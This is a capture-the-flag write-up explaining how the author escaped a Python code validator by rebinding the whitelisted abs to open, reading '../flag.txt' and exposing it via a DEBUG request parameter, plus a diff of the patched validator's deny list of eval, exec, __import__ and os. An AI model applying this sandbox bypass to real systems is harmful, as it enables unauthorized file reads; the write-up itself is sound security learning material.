By: mr_mph
We can write a solution to pass the testcases, but it doesn’t get us the flag
def myfunc(nums):
for i in range(1, len(nums)):
key = nums[i]
j = i - 1
while j >= 0 and nums[j] > key:
nums[j + 1] = nums[j]
j -= 1
nums[j + 1] = key
return nums
We can’t call open() but we can call some whitelisted funcs like abs()
so what if we just assign abs=open
then we can just call open() as abs()
This works!
def myfunc(nums):
abs = open
flag = abs('../flag.txt')
txt = ""
nums = []
for char in flag:
nums += char
return nums
though we can’t see the output from this, just the now failing testcases
Luckily we can modify the POST request to have DEBUG=true, and our submitted nums array is shown. It gives:
['S', 'V', 'U', 'S', 'C', 'G', '{', '8', '2', 'a', '9', '5', 'b', 'c', '2', 'b', 'a', '2', 'a', '2', '9', '3', '0', '3', '6', 'a', '1', '1', 'c', '2', 'd', '8', 'e', 'b', '4', '6', '3', 'c', '7', '}']
Nice! flag: SVUSCG{82a95bc2ba2a293036a11c2d8eb463c7}
How I got the idea of abs=open (side channel)
My very first thought on this challenge was if we could claim uscg-leetcode-validator
on pypi. To prevent this, the challenge author tsuto claimed the package already. But he also claimed uscg-leetcode-validator-2
, a new version for his revenge challenge 🤔
if we download and diff the two packages, we can see what the difference is:
$ diff -r uscg_leetcode_validator-1.0.7/ uscg_leetcode_validator_2-1.0.0/
> if isinstance(node, ast.Name):
> if node.id.startswith("__"):
> raise ValueError(f"Use '{node.id}' is not allowed.")
>
> if isinstance(node, ast.Constant) and isinstance(node.value, str):
> if node.value.startswith("__"):
> raise ValueError("Use of dunder strings is not allowed.")
>
> if isinstance(node, ast.Assign):
> for target in node.targets:
> if isinstance(target, ast.Name) and target.id in SAFE_FUNCTIONS:
> raise ValueError(f"Reassignment of built-in function '{target.id}' is not allowed.")
>
> if isinstance(node, ast.Call):
> if isinstance(node.func, ast.Name) and node.func.id not in SAFE_FUNCTIONS:
> raise ValueError(f"Function call to '{node.func.id}' is not allowed.")
>
> # Detect indirect dangerous strings passed to functions
> for arg in node.args:
> if isinstance(arg, ast.Constant) and isinstance(arg.value, str):
> if any(x in arg.value for x in ["eval", "exec", "__import__", "os", "flag"]):
> raise ValueError("Suspicious string constant found.")
>
> if isinstance(node, ast.Constant):
> if not isinstance(node.value, (int, float)):
> raise ValueError("Only numeric constants are allowed.")
so if the patch is to add these extra protections, maybe in the original we can do something with either dunder or assignment? and that’s how I got the idea to assign one function to another to bypass whitelist checks.